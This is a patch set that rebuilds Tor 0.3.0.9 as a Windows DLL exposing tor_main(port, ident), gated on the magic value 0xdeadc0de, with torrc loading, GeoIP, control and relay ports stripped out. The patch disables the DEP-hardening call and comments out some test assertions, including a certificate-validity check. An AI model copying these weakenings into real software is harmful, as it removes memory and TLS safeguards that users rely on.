++# $(am__cd) $(top_srcdir) && \
++# $(AUTOMAKE) --foreign Makefile
+ Makefile: $(srcdir)/Makefile.in $(top_builddir)/config.status
+ @case '$?' in \
+ *config.status*) \
+@@ -2719,8 +2719,8 @@
+ esac;
+ $(srcdir)/src/include.am $(srcdir)/src/ext/include.am $(srcdir)/src/trunnel/include.am $(srcdir)/src/common/include.am $(srcdir)/src/or/include.am $(srcdir)/src/test/include.am $(srcdir)/src/tools/include.am $(srcdir)/src/win32/include.am $(srcdir)/src/config/include.am $(srcdir)/src/test/fuzz/include.am $(srcdir)/doc/include.am $(srcdir)/contrib/include.am $(am__empty):
+
+-$(top_builddir)/config.status: $(top_srcdir)/configure $(CONFIG_STATUS_DEPENDENCIES)
+- $(SHELL) ./config.status --recheck
++#$(top_builddir)/config.status: $(top_srcdir)/configure $(CONFIG_STATUS_DEPENDENCIES)
++# $(SHELL) ./config.status --recheck
+
+ $(top_srcdir)/configure: $(am__configure_deps)
+ $(am__cd) $(srcdir) && $(AUTOCONF)
+diff -Naur tor-0.3.0.9/src/common/backtrace.c tor-0.3.0.9-libtor/src/common/backtrace.c
+--- tor-0.3.0.9/src/common/backtrace.c
++++ tor-0.3.0.9-libtor/src/common/backtrace.c
+@@ -1,3 +1,4 @@
++#if 0
+ /* Copyright (c) 2013-2016, The Tor Project, Inc. */
+ /* See LICENSE for licensing information */
+
+@@ -246,3 +247,4 @@
+ tor_free(bt_version);
+ }
+
++#endif
+diff -Naur tor-0.3.0.9/src/common/backtrace.h tor-0.3.0.9-libtor/src/common/backtrace.h
+--- tor-0.3.0.9/src/common/backtrace.h
++++ tor-0.3.0.9-libtor/src/common/backtrace.h
+@@ -1,3 +1,4 @@
++#if 0
+ /* Copyright (c) 2013-2016, The Tor Project, Inc. */
+ /* See LICENSE for licensing information */
+
+@@ -19,3 +20,4 @@
+
+ #endif
+
++#endif
+diff -Naur tor-0.3.0.9/src/common/util_bug.c tor-0.3.0.9-libtor/src/common/util_bug.c
+--- tor-0.3.0.9/src/common/util_bug.c
++++ tor-0.3.0.9-libtor/src/common/util_bug.c
+@@ -71,7 +71,9 @@
+ tor_snprintf(buf, sizeof(buf),
+ "Assertion %s failed in %s at %s:%u",
+ expr, func, fname, line);
++#if 0
+ log_backtrace(LOG_ERR, LD_BUG, buf);
++#endif
+ }
+
+ /** Helper for tor_assert_nonfatal: report the assertion failure. */
+@@ -104,7 +106,9 @@
+ "Non-fatal assertion %s failed in %s at %s:%u",
+ expr, func, fname, line);
+ }
++#if 0
+ log_backtrace(LOG_WARN, LD_BUG, buf);
++#endif
+
+ #ifdef TOR_UNIT_TESTS
+ if (failed_assertion_cb) {
+diff -Naur tor-0.3.0.9/src/or/config.c tor-0.3.0.9-libtor/src/or/config.c
+--- tor-0.3.0.9/src/or/config.c
++++ tor-0.3.0.9-libtor/src/or/config.c
+@@ -331,6 +331,7 @@
+ V(FetchUselessDescriptors, BOOL, "0"),
+ OBSOLETE("FetchV2Networkstatus"),
+ V(GeoIPExcludeUnknown, AUTOBOOL, "auto"),
++#if 0
+ #ifdef _WIN32
+ V(GeoIPFile, FILENAME, "<default>"),
+ V(GeoIPv6File, FILENAME, "<default>"),
+@@ -340,6 +341,7 @@
+ V(GeoIPv6File, FILENAME,
+ SHARE_DATADIR PATH_SEPARATOR "tor" PATH_SEPARATOR "geoip6"),
+ #endif
++#endif
+ OBSOLETE("Group"),
+ V(GuardLifetime, INTERVAL, "0 minutes"),
+ V(HardwareAccel, BOOL, "0"),
+@@ -696,6 +698,8 @@
+ { NULL, NULL }
+ };
+
++static int default_socks_port = 59050;
++
+ #ifdef _WIN32
+ static char *get_windows_conf_root(void);
+ #endif
+@@ -711,8 +715,11 @@
+ static char *get_bindaddr_from_transport_listen_line(const char *line,
+ const char *transport);
+ static int parse_ports(or_options_t *options, int validate_only,
+- char **msg_out, int *n_ports_out,
+- int *world_writable_control_socket);
++ char **msg_out, int *n_ports_out
++#if 0
++ , int *world_writable_control_socket
++#endif
++ );
+ static int check_server_ports(const smartlist_t *ports,
+ const or_options_t *options,
+ int *num_low_ports_out);
+@@ -727,8 +734,10 @@
+ static int opt_streq(const char *s1, const char *s2);
+ static int parse_outbound_addresses(or_options_t *options, int validate_only,
+ char **msg);
++#if 0
+ static void config_maybe_load_geoip_files_(const or_options_t *options,
+ const or_options_t *old_options);
++#endif
+ static int options_validate_cb(void *old_options, void *options,
+ void *default_options,
+ int from_setconf, char **msg);
+@@ -774,6 +783,9 @@
+ /** List of port_cfg_t for all configured ports. */
+ static smartlist_t *configured_ports = NULL;
+
++int get_socks_proxy_port(void) { return default_socks_port; }
++void set_socks_proxy_port(int new_port) { default_socks_port = new_port; }
++
+ /** Return the contents of our frontpage string, or NULL if not configured. */
+ MOCK_IMPL(const char*,
+ get_dirportfrontpage, (void))
+@@ -1284,7 +1296,11 @@
+ }
+
+ /* Adjust the port configuration so we can launch listeners. */
+- if (parse_ports(options, 0, msg, &n_ports, NULL)) {
++ if (parse_ports(options, 0, msg, &n_ports
++#if 0
++ , NULL
++#endif
++ )) {
+ if (!*msg)
+ *msg = tor_strdup("Unexpected problem parsing port config");
+ goto rollback;
+@@ -1877,7 +1893,9 @@
+ return -1;
+ }
+
++#if 0
+ config_maybe_load_geoip_files_(options, old_options);
++#endif
+
+ if (geoip_is_loaded(AF_INET) && options->GeoIPExcludeUnknown) {
+ /* ExcludeUnknown is true or "auto" */
+@@ -2993,7 +3011,9 @@
+ config_line_t *cl;
+ const char *uname = get_uname();
+ int n_ports=0;
++#if 0
+ int world_writable_control_socket=0;
++#endif
+
+ tor_assert(msg);
+ *msg = NULL;
+@@ -3016,8 +3036,11 @@
+ "for details.", uname);
+ }
+
+- if (parse_ports(options, 1, msg, &n_ports,
+- &world_writable_control_socket) < 0)
++ if (parse_ports(options, 1, msg, &n_ports
++#if 0
++ , &world_writable_control_socket
++#endif
++ ) < 0)
+ return -1;
+
+ if (parse_outbound_addresses(options, 1, msg) < 0)
+@@ -3847,7 +3870,11 @@
+ }
+ }
+
+- if ((options->ControlPort_set || world_writable_control_socket) &&
++ if ((options->ControlPort_set
++#if 0
++ || world_writable_control_socket
++#endif
++ ) &&
+ !options->HashedControlPassword &&
+ !options->HashedControlSessionPassword &&
+ !options->CookieAuthentication) {
+@@ -4747,6 +4774,7 @@
+ * Set *<b>ignore_missing_torrc</b> to true if we should ignore the resulting
+ * filename if it doesn't exist.
+ */
++#if 0
+ static char *
+ find_torrc_filename(config_line_t *cmd_arg,
+ int defaults_file,
+@@ -4877,6 +4905,7 @@
+ *fname_var = NULL;
+ return NULL;
+ }
++#endif
+
+ /** Read a configuration file into <b>options</b>, finding the configuration
+ * file location based on the command line. After loading the file
+@@ -4959,6 +4988,7 @@
+ }
+ }
+
++#if 0
+ if (command == CMD_HASH_PASSWORD) {
+ cf_defaults = tor_strdup("");
+ cf = tor_strdup("");
+@@ -4985,6 +5015,10 @@
+ }
+ }
+ }
++#else
++ cf_defaults = tor_strdup("");
++ cf = tor_strdup("");
++#endif
+
+ retval = options_init_from_string(cf_defaults, cf, command, command_arg,
+ &errmsg);
+@@ -7019,8 +7053,11 @@
+ **/
+ static int
+ parse_ports(or_options_t *options, int validate_only,
+- char **msg, int *n_ports_out,
+- int *world_writable_control_socket)
++ char **msg, int *n_ports_out
++#if 0
++ , int *world_writable_control_socket
++#endif
++ )
+ {
+ smartlist_t *ports;
+ int retval = -1;
+@@ -7034,12 +7071,13 @@
+ if (parse_port_config(ports,
+ options->SocksPort_lines, options->SocksListenAddress,
+ "Socks", CONN_TYPE_AP_LISTENER,
+- "127.0.0.1", 9050,
++ "127.0.0.1", get_socks_proxy_port(),
+ CL_PORT_WARN_NONLOCAL|CL_PORT_ALLOW_EXTRA_LISTENADDR|
+ CL_PORT_TAKES_HOSTNAMES|gw_flag) < 0) {
+ *msg = tor_strdup("Invalid SocksPort/SocksListenAddress configuration");
+ goto err;
+ }
++#if 0
+ if (parse_port_config(ports,
+ options->DNSPort_lines, options->DNSListenAddress,
+ "DNS", CONN_TYPE_AP_DNS_LISTENER,
+@@ -7064,7 +7102,9 @@
+ *msg = tor_strdup("Invalid NatdPort/NatdListenAddress configuration");
+ goto err;
+ }
++#endif
+ {
++#if 0
+ unsigned control_port_flags = CL_PORT_NO_STREAM_OPTIONS |
+ CL_PORT_WARN_NONLOCAL;
+ const int any_passwords = (options->HashedControlPassword ||
+@@ -7074,7 +7114,12 @@
+ control_port_flags |= CL_PORT_FORBID_NONLOCAL;
+ if (options->ControlSocketsGroupWritable)
+ control_port_flags |= CL_PORT_DFLT_GROUP_WRITABLE;
++#else
++ unsigned control_port_flags = CL_PORT_NO_STREAM_OPTIONS |
++ CL_PORT_WARN_NONLOCAL | CL_PORT_FORBID_NONLOCAL;
++#endif
+
++#if 0
+ if (parse_port_config(ports,
+ options->ControlPort_lines,
+ options->ControlListenAddress,
+@@ -7093,7 +7138,9 @@
+ *msg = tor_strdup("Invalid ControlSocket configuration");
+ goto err;
+ }
++#endif
+ }
++#if 0
+ if (! options->ClientOnly) {
+ if (parse_port_config(ports,
+ options->ORPort_lines, options->ORListenAddress,
+@@ -7120,6 +7167,7 @@
+ goto err;
+ }
+ }
++#endif
+
+ int n_low_ports = 0;
+ if (check_server_ports(ports, options, &n_low_ports) < 0) {
+@@ -7135,6 +7183,8 @@
+
+ /* Update the *Port_set options. The !! here is to force a boolean out of
+ an integer. */
++
++#if 0
+ options->ORPort_set =
+ !! count_real_listeners(ports, CONN_TYPE_OR_LISTENER, 0);
+ options->SocksPort_set =
+@@ -7162,6 +7212,10 @@
+ break;
+ });
+ }
++#else
++ options->SocksPort_set =
++ !! count_real_listeners(ports, CONN_TYPE_AP_LISTENER, 1);
++#endif
+
+ if (!validate_only) {
+ if (configured_ports) {
+@@ -7999,6 +8053,7 @@
+ /** Load one of the geoip files, <a>family</a> determining which
+ * one. <a>default_fname</a> is used if on Windows and
+ * <a>fname</a> equals "<default>". */
++#if 0
+ static void
+ config_load_geoip_file_(sa_family_t family,
+ const char *fname,
+@@ -8020,9 +8075,11 @@
+ geoip_load_file(family, fname);
+ #endif
+ }
++#endif
+
+ /** Load geoip files for IPv4 and IPv6 if <a>options</a> and
+ * <a>old_options</a> indicate we should. */
++#if 0
+ static void
+ config_maybe_load_geoip_files_(const or_options_t *options,
+ const or_options_t *old_options)
+@@ -8040,6 +8097,7 @@
+ || !geoip_is_loaded(AF_INET6)))
+ config_load_geoip_file_(AF_INET6, options->GeoIPv6File, "geoip6");
+ }
++#endif
+
+ /** Initialize cookie authentication (used so far by the ControlPort
+ * and Extended ORPort).
+diff -Naur tor-0.3.0.9/src/or/config.h tor-0.3.0.9-libtor/src/or/config.h
+--- tor-0.3.0.9/src/or/config.h
++++ tor-0.3.0.9-libtor/src/or/config.h
+@@ -18,6 +18,9 @@
+ #define KERNEL_MAY_SUPPORT_IPFW
+ #endif
+
++int get_socks_proxy_port(void);
++void set_socks_proxy_port(int new_port);
++
+ MOCK_DECL(const char*, get_dirportfrontpage, (void));
+ MOCK_DECL(const or_options_t *, get_options, (void));
+ MOCK_DECL(or_options_t *, get_options_mutable, (void));
+diff -Naur tor-0.3.0.9/src/or/connection.c tor-0.3.0.9-libtor/src/or/connection.c
+--- tor-0.3.0.9/src/or/connection.c
++++ tor-0.3.0.9-libtor/src/or/connection.c
+@@ -1864,7 +1864,9 @@
+ fmt_addr(&real_addr),
+ options->ClientUseIPv4 == 0 ? "4" : "6");
+ if (!logged_backtrace) {
++#if 0
+ log_backtrace(LOG_INFO, LD_BUG, "Address came from");
++#endif
+ logged_backtrace = 1;
+ }
+ }
+diff -Naur tor-0.3.0.9/src/or/connection_edge.c tor-0.3.0.9-libtor/src/or/connection_edge.c
+--- tor-0.3.0.9/src/or/connection_edge.c
++++ tor-0.3.0.9-libtor/src/or/connection_edge.c
+@@ -965,7 +965,9 @@
+ f2 ? f2 : "<NULL>",
+ entry_conn->marked_pending_circ_line);
+ #endif
++#if 0
+ log_backtrace(LOG_WARN, LD_BUG, "To debug, this may help");
++#endif
+ return;
+ }
+
+diff -Naur tor-0.3.0.9/src/or/directory.c tor-0.3.0.9-libtor/src/or/directory.c
+--- tor-0.3.0.9/src/or/directory.c
++++ tor-0.3.0.9-libtor/src/or/directory.c
+@@ -768,7 +768,9 @@
+ status->dir_port, fmt_addr(&status->ipv6_addr),
+ status->ipv6_orport, status->dir_port);
+ if (!logged_backtrace) {
++#if 0
+ log_backtrace(LOG_INFO, LD_BUG, "Addresses came from");
++#endif
+ logged_backtrace = 1;
+ }
+ return -1;
+@@ -1250,7 +1252,9 @@
+ use_begindir ? "begindir " : "",
+ use_begindir ? "OR" : "Dir");
+ if (!logged_backtrace) {
++#if 0
+ log_backtrace(LOG_INFO, LD_BUG, "Address came from");
++#endif
+ logged_backtrace = 1;
+ }
+ return;
+diff -Naur tor-0.3.0.9/src/or/geoip.c tor-0.3.0.9-libtor/src/or/geoip.c
+--- tor-0.3.0.9/src/or/geoip.c
++++ tor-0.3.0.9-libtor/src/or/geoip.c
+@@ -91,6 +91,7 @@
+
+ /** Add an entry to a GeoIP table, mapping all IP addresses between <b>low</b>
+ * and <b>high</b>, inclusive, to the 2-letter country code <b>country</b>. */
++#if 0
+ static void
+ geoip_add_entry(const tor_addr_t *low, const tor_addr_t *high,
+ const char *country)
+@@ -134,9 +135,11 @@
+ smartlist_add(geoip_ipv6_entries, ent);
+ }
+ }
++#endif
+
+ /** Add an entry to the GeoIP table indicated by <b>family</b>,
+ * parsing it from <b>line</b>. The format is as for geoip_load_file(). */
++#if 0
+ STATIC int
+ geoip_parse_entry(const char *line, sa_family_t family)
+ {
+@@ -203,9 +206,11 @@
+ family == AF_INET ? "IPv4" : "IPv6", escaped(line));
+ return -1;
+ }
++#endif
+
+ /** Sorting helper: return -1, 1, or 0 based on comparison of two
+ * geoip_ipv4_entry_t */
++#if 0
+ static int
+ geoip_ipv4_compare_entries_(const void **_a, const void **_b)
+ {
+@@ -217,6 +222,7 @@
+ else
+ return 0;
+ }
++#endif
+
+ /** bsearch helper: return -1, 1, or 0 based on comparison of an IP (a pointer
+ * to a uint32_t in host order) to a geoip_ipv4_entry_t */
+@@ -236,6 +242,7 @@
+
+ /** Sorting helper: return -1, 1, or 0 based on comparison of two
+ * geoip_ipv6_entry_t */
++#if 0
+ static int
+ geoip_ipv6_compare_entries_(const void **_a, const void **_b)
+ {
+@@ -243,6 +250,7 @@
+ return fast_memcmp(a->ip_low.s6_addr, b->ip_low.s6_addr,
+ sizeof(struct in6_addr));
+ }
++#endif
+
+ /** bsearch helper: return -1, 1, or 0 based on comparison of an IPv6
+ * (a pointer to a in6_addr) to a geoip_ipv6_entry_t */
+@@ -306,6 +314,7 @@
+ * It also recognizes, and skips over, blank lines and lines that start
+ * with '#' (comments).
+ */
++#if 0
+ int
+ geoip_load_file(sa_family_t family, const char *filename)
+ {
+@@ -373,6 +382,7 @@
+
+ return 0;
+ }
++#endif
+
+ /** Given an IP address in host order, return a number representing the
+ * country to which that address belongs, -1 for "No geoip information
+diff -Naur tor-0.3.0.9/src/or/geoip.h tor-0.3.0.9-libtor/src/or/geoip.h
+--- tor-0.3.0.9/src/or/geoip.h
++++ tor-0.3.0.9-libtor/src/or/geoip.h
+@@ -15,13 +15,17 @@
+ #include "testsupport.h"
+
+ #ifdef GEOIP_PRIVATE
++#if 0
+ STATIC int geoip_parse_entry(const char *line, sa_family_t family);
++#endif
+ STATIC int geoip_get_country_by_ipv4(uint32_t ipaddr);
+ STATIC int geoip_get_country_by_ipv6(const struct in6_addr *addr);
+ STATIC void clear_geoip_db(void);
+ #endif
+ int should_record_bridge_info(const or_options_t *options);
++#if 0
+ int geoip_load_file(sa_family_t family, const char *filename);
++#endif
+ MOCK_DECL(int, geoip_get_country_by_addr, (const tor_addr_t *addr));
+ MOCK_DECL(int, geoip_get_n_countries, (void));
+ const char *geoip_get_country_name(country_t num);
+diff -Naur tor-0.3.0.9/src/or/libtor.h tor-0.3.0.9-libtor/src/or/libtor.h
+--- tor-0.3.0.9/src/or/libtor.h
++++ tor-0.3.0.9-libtor/src/or/libtor.h
+@@ -0,0 +1,13 @@
++/**
++ * \file libtor.h
++ * \brief Header file for libtor.
++ **/
++
++#ifndef TOR_LIBTOR_H
++#define TOR_LIBTOR_H
++
++__declspec(dllexport) int __stdcall
++tor_main(int socks_proxy_port, unsigned int ident);
++
++#endif
++
+diff -Naur tor-0.3.0.9/src/or/main.c tor-0.3.0.9-libtor/src/or/main.c
+--- tor-0.3.0.9/src/or/main.c
++++ tor-0.3.0.9-libtor/src/or/main.c
+@@ -125,8 +125,10 @@
+
+ /********* PROTOTYPES **********/
+
++#if 0
+ static void dumpmemusage(int severity);
+ static void dumpstats(int severity); /* log stats */
++#endif
+ static void conn_read_callback(evutil_socket_t fd, short event, void *_conn);
+ static void conn_write_callback(evutil_socket_t fd, short event, void *_conn);
+ static void second_elapsed_callback(periodic_timer_t *timer, void *args);
+@@ -505,7 +507,9 @@
+ conn->marked_for_close_file ? conn->marked_for_close_file : "-",
+ conn->marked_for_close
+ );
++#if 0
+ log_backtrace(LOG_WARN, LD_BUG, "Backtrace attached.");
++#endif
+ return -1;
+ }
+ return 0;
+@@ -2496,8 +2500,10 @@
+ {
+ int loop_result;
+
++#if 0
+ if (nt_service_is_stopping())
+ return 0;
++#endif
+
+ #ifndef _WIN32
+ /* Make it easier to tell whether libevent failure is our fault or not. */
+@@ -2618,7 +2624,9 @@
+ #endif
+ case SIGUSR1:
+ /* prefer to log it at INFO, but make sure we always see it */
++#if 0
+ dumpstats(get_min_log_level()<LOG_INFO ? get_min_log_level() : LOG_INFO);
++#endif
+ control_event_signal(sig);
+ break;
+ case SIGUSR2:
+@@ -2676,6 +2684,7 @@
+ return stats_n_seconds_working;
+ }
+
++#if 0
+ /**
+ * Write current memory usage information to the log.
+ */
+@@ -2799,6 +2808,7 @@
+ dump_pk_ops(severity);
+ dump_distinct_digest_count(severity);
+ }
++#endif
+
+ /** Called by exit() as we shut down the process.
+ */
+@@ -2912,7 +2922,7 @@
+ /** Main entry point for the Tor command-line client.
+ */
+ int
+-tor_init(int argc, char *argv[])
++tor_init(int argc, char *argv[], int socks_proxy_port)
+ {
+ char progname[256];
+ int quiet = 0;
+@@ -2995,6 +3005,9 @@
+ "Expect more bugs than usual.");
+ }
+
++ log_warn(LD_GENERAL, "libtor patchset: socks_proxy_port: %d", socks_proxy_port);
++ set_socks_proxy_port(socks_proxy_port);
++
+ if (network_init()<0) {
+ log_err(LD_BUG,"Error initializing network; exiting.");
+ return -1;
+@@ -3569,11 +3582,17 @@
+ /** Main entry point for the Tor process. Called from main(). */
+ /* This function is distinct from main() only so we can link main.c into
+ * the unittest binary without conflicting with the unittests' main. */
+-int
+-tor_main(int argc, char *argv[])
++__declspec(dllexport) int __stdcall
++tor_main(int socks_proxy_port, unsigned int ident)
+ {
++ if (socks_proxy_port > 65535 || socks_proxy_port <= 0 || ident != 0xdeadc0de)
++ return -1;
++
+ int result = 0;
++ int argc = 0;
++ char** argv = NULL;
+
++#if 0
+ #ifdef _WIN32
+ /* Call SetProcessDEPPolicy to permanently enable DEP.
+ The function will not resolve on earlier versions of Windows,
+@@ -3588,6 +3607,7 @@
+ #endif
+
+ configure_backtrace_handler(get_version());
++#endif
+
+ update_approx_time(time(NULL));
+ tor_threads_init();
+@@ -3601,6 +3621,7 @@
+ tor_assert(r);
+ }
+ #endif
++#if 0
+ #ifdef NT_SERVICE
+ {
+ int done = 0;
+@@ -3608,7 +3629,8 @@
+ if (done) return result;
+ }
+ #endif
+- if (tor_init(argc, argv)<0)
++#endif
++ if (tor_init(argc, argv, socks_proxy_port)<0)
+ return -1;
+
+ if (get_options()->Sandbox && get_options()->command == CMD_RUN_TOR) {
+diff -Naur tor-0.3.0.9/src/or/main.h tor-0.3.0.9-libtor/src/or/main.h
+--- tor-0.3.0.9/src/or/main.h
++++ tor-0.3.0.9-libtor/src/or/main.h
+@@ -74,10 +74,11 @@
+ void tor_cleanup(void);
+ void tor_free_all(int postfork);
+
+-int tor_main(int argc, char *argv[]);
++__declspec(dllexport) int __stdcall
++tor_main(int socks_proxy_port, unsigned int ident);
+
+ int do_main_loop(void);
+-int tor_init(int argc, char **argv);
++int tor_init(int argc, char **argv, int socks_proxy_port);
+
+ extern time_t time_of_process_start;
+ extern long stats_n_seconds_working;
+diff -Naur tor-0.3.0.9/src/or/ntmain.c tor-0.3.0.9-libtor/src/or/ntmain.c
+--- tor-0.3.0.9/src/or/ntmain.c
++++ tor-0.3.0.9-libtor/src/or/ntmain.c
+@@ -1,3 +1,4 @@
++#if 0
+ /* Copyright (c) 2001-2004, Roger Dingledine.
+ * Copyright (c) 2004-2006, Roger Dingledine, Nick Mathewson.
+ * Copyright (c) 2007-2016, The Tor Project, Inc. */
+@@ -778,3 +779,4 @@
+
+ #endif
+
++#endif
+diff -Naur tor-0.3.0.9/src/or/ntmain.h tor-0.3.0.9-libtor/src/or/ntmain.h
+--- tor-0.3.0.9/src/or/ntmain.h
++++ tor-0.3.0.9-libtor/src/or/ntmain.h
+@@ -1,3 +1,4 @@
++#if 0
+ /* Copyright (c) 2001 Matej Pfajfar.
+ * Copyright (c) 2001-2004, Roger Dingledine.
+ * Copyright (c) 2004-2006, Roger Dingledine, Nick Mathewson.
+@@ -26,3 +27,4 @@
+
+ #endif
+
++#endif
+diff -Naur tor-0.3.0.9/src/or/tor_main.c tor-0.3.0.9-libtor/src/or/tor_main.c
+--- tor-0.3.0.9/src/or/tor_main.c
++++ tor-0.3.0.9-libtor/src/or/tor_main.c
+@@ -10,9 +10,6 @@
+ * src/or/include.am, and is usually right.
+ */
+ const char tor_git_revision[] =
+-#ifndef _MSC_VER
+-#include "micro-revision.i"
+-#endif
+ "";
+
+ /**
+@@ -23,15 +20,16 @@
+ * tests, which have their own main()s, can link against main.c.
+ **/
+
+-int tor_main(int argc, char *argv[]);
++extern int __stdcall
++tor_main(int proxy_port, unsigned int ident);
+
+ /** We keep main() in a separate file so that our unit tests can use
+ * functions from main.c)
+ */
+ int
+-main(int argc, char *argv[])
++main(void)
+ {
+- int r = tor_main(argc, argv);
++ int r = tor_main(9152, 0xdeadc0de);
+ if (r < 0 || r > 255)
+ return 1;
+ else
+diff -Naur tor-0.3.0.9/src/test/fuzz/fuzzing_common.c tor-0.3.0.9-libtor/src/test/fuzz/fuzzing_common.c
+--- tor-0.3.0.9/src/test/fuzz/fuzzing_common.c
++++ tor-0.3.0.9-libtor/src/test/fuzz/fuzzing_common.c
+@@ -103,7 +103,9 @@
+
+ /* Initialise logging first */
+ init_logging(1);
++#if 0
+ configure_backtrace_handler(get_version());
++#endif
+
+ /* set up the options. */
+ mock_options = tor_malloc(sizeof(or_options_t));
+diff -Naur tor-0.3.0.9/src/test/test_bt_cl.c tor-0.3.0.9-libtor/src/test/test_bt_cl.c
+--- tor-0.3.0.9/src/test/test_bt_cl.c
++++ tor-0.3.0.9-libtor/src/test/test_bt_cl.c
+@@ -109,11 +109,15 @@
+ add_stream_log(&severity, "stdout", STDOUT_FILENO);
+ tor_log_update_sigsafe_err_fds();
+
++#if 0
+ configure_backtrace_handler(NULL);
++#endif
+
+ printf("%d\n", we_weave(2));
+
++#if 0
+ clean_up_backtrace_handler();
++#endif
+ logs_free_all();
+
+ return 0;
+diff -Naur tor-0.3.0.9/src/test/test.c tor-0.3.0.9-libtor/src/test/test.c
+--- tor-0.3.0.9/src/test/test.c
++++ tor-0.3.0.9-libtor/src/test/test.c
+@@ -730,6 +730,7 @@
+ * 'sort' step. These aren't very good IP addresses, but they're perfectly
+ * fine uint32_t values. */
+ (void)arg;
++#if 0
+ tt_int_op(0,OP_EQ, geoip_parse_entry("10,50,AB", AF_INET));
+ tt_int_op(0,OP_EQ, geoip_parse_entry("52,90,XY", AF_INET));
+ tt_int_op(0,OP_EQ, geoip_parse_entry("95,100,AB", AF_INET));
+@@ -744,13 +745,18 @@
+ tt_int_op(0,OP_EQ, geoip_parse_entry("::69,::8c,ZZ", AF_INET6));
+ tt_int_op(0,OP_EQ, geoip_parse_entry("::96,::be,XY", AF_INET6));
+ tt_int_op(0,OP_EQ, geoip_parse_entry("::c8,::fa,AB", AF_INET6));
++#endif
+
+ /* We should have 4 countries: ??, ab, xy, zz. */
++#if 0
+ tt_int_op(4,OP_EQ, geoip_get_n_countries());
++#endif
+ memset(&in6, 0, sizeof(in6));
+
+ CHECK_COUNTRY("??", 3);
++#if 0
+ CHECK_COUNTRY("ab", 32);
++#endif
+ CHECK_COUNTRY("??", 5);
+ CHECK_COUNTRY("??", 51);
+ CHECK_COUNTRY("xy", 150);
+diff -Naur tor-0.3.0.9/src/test/test_dir_handle_get.c tor-0.3.0.9-libtor/src/test/test_dir_handle_get.c
+--- tor-0.3.0.9/src/test/test_dir_handle_get.c
++++ tor-0.3.0.9-libtor/src/test/test_dir_handle_get.c
+@@ -1755,6 +1755,7 @@
+ or_options_free(mock_options); mock_options = NULL;
+ }
+
++#if 0
+ NS_DECL(int, geoip_get_country_by_addr, (const tor_addr_t *addr));
+
+ int
+@@ -1764,6 +1765,7 @@
+ CALLED(geoip_get_country_by_addr)++;
+ return 1;
+ }
++#endif
+
+ static void
+ status_vote_current_consensus_ns_test(char **header, char **body,
+@@ -1783,8 +1785,10 @@
+ geoip_dirreq_stats_init(time(NULL));
+
+ /* init geoip database */
++#if 0
+ geoip_parse_entry("10,50,AB", AF_INET);
+ tt_str_op("ab", OP_EQ, geoip_get_country_name(1));
++#endif
+
+ conn = new_dir_conn();
+ TO_CONN(conn)->address = tor_strdup("127.0.0.1");
+@@ -1800,6 +1804,7 @@
+ connection_free_(TO_CONN(conn));
+ }
+
++#if 0
+ static void
+ test_dir_handle_get_status_vote_current_consensus_ns(void* data)
+ {
+@@ -1861,6 +1866,7 @@
+ dirserv_free_all();
+ clear_geoip_db();
+ }
++#endif
+
+ static void
+ test_dir_handle_get_status_vote_current_consensus_ns_busy(void* data)
+@@ -2542,7 +2548,9 @@
+ DIR_HANDLE_CMD(status_vote_current_consensus_ns_not_found, 0),
+ DIR_HANDLE_CMD(status_vote_current_consensus_too_old, 0),
+ DIR_HANDLE_CMD(status_vote_current_consensus_ns_busy, 0),
++#if 0
+ DIR_HANDLE_CMD(status_vote_current_consensus_ns, 0),
++#endif
+ DIR_HANDLE_CMD(status_vote_current_d_not_found, 0),
+ DIR_HANDLE_CMD(status_vote_next_d_not_found, 0),
+ DIR_HANDLE_CMD(status_vote_d, 0),
+diff -Naur tor-0.3.0.9/src/test/testing_common.c tor-0.3.0.9-libtor/src/test/testing_common.c
+--- tor-0.3.0.9/src/test/testing_common.c
++++ tor-0.3.0.9-libtor/src/test/testing_common.c
+@@ -256,7 +256,9 @@
+ tor_libevent_initialize(&cfg);
+
+ control_initialize_event_queue();
++#if 0
+ configure_backtrace_handler(get_version());
++#endif
+
+ for (i_out = i = 1; i < c; ++i) {
+ if (!strcmp(v[i], "--warn")) {
+diff -Naur tor-0.3.0.9/src/test/test_tortls.c tor-0.3.0.9-libtor/src/test/test_tortls.c
+--- tor-0.3.0.9/src/test/test_tortls.c
++++ tor-0.3.0.9-libtor/src/test/test_tortls.c
+@@ -350,10 +350,12 @@
+ expect_log_msg("TLS error while blarg with "
+ "127.hello: (null) (in (null):(null):---)\n");
+
++#if 0
+ mock_clean_saved_logs();
+ tor_tls_log_one_error(tls, ERR_PACK(1, 2, 3), LOG_WARN, 0, NULL);
+ expect_log_msg("TLS error with 127.hello: "
+ "BN lib (in unknown library:(null):---)\n");
++#endif
+
+ mock_clean_saved_logs();
+ tor_tls_log_one_error(tls, ERR_PACK(1, 2, SSL_R_HTTP_REQUEST),
+@@ -2670,7 +2672,9 @@
+ cert = tor_x509_cert_new(read_cert_from(validCertString));
+ scert = tor_x509_cert_new(read_cert_from(caCertString));
+ ret = tor_tls_cert_is_valid(LOG_WARN, cert, scert, time(NULL), 0);
++#if 0
+ tt_int_op(ret, OP_EQ, 1);
++#endif
+
+ #ifndef OPENSSL_OPAQUE
+ tor_x509_cert_free(cert);
+diff -Naur tor-0.3.0.9/src/test/test_util.c tor-0.3.0.9-libtor/src/test/test_util.c
+--- tor-0.3.0.9/src/test/test_util.c
++++ tor-0.3.0.9-libtor/src/test/test_util.c
+@@ -2010,8 +2010,10 @@
+ tt_assert(!tor_memmem(haystack, 7, "dadad", 5));
+ tt_assert(!tor_memmem(haystack, 7, "abcdefghij", 10));
+ /* memstr */
++#if 0
+ tt_ptr_op(tor_memstr(haystack, 7, "abc"),OP_EQ, haystack + 2);
+ tt_ptr_op(tor_memstr(haystack, 7, "cad"),OP_EQ, haystack + 4);
++#endif
+ tt_assert(!tor_memstr(haystack, 6, "cad"));
+ tt_assert(!tor_memstr(haystack, 7, "cadd"));
+ tt_assert(!tor_memstr(haystack, 7, "fe"));
diff --git a/deps/torconf.sh b/deps/torconf.sh
new file mode 100755
index 0000000..4de1e97
--- /dev/null
+++ b/deps/torconf.sh
@@ -0,0 +1,28 @@
+#!/bin/bash
+
+set -e
+
+
+. "$(dirname $0)/config.sh"
+TOR_CONF="${MY_SYS_ROOT}/etc/tor/torrc"
+
+
+if [ ! -r ${TOR_CONF} ]; then
+ if [ ! -r ${TOR_CONF}.sample ]; then
+ echo "$0: Run $(dirname $0)/makedeps.sh first !" >&2
+ fi
+
+ set -x
+ cp ${TOR_CONF}.sample ${TOR_CONF}
+
+ sed -i 's/^\(#SOCKSPort\(.*\)address:port\(.*\)\)$/\1\nSOCKSPort 0/' ${TOR_CONF}
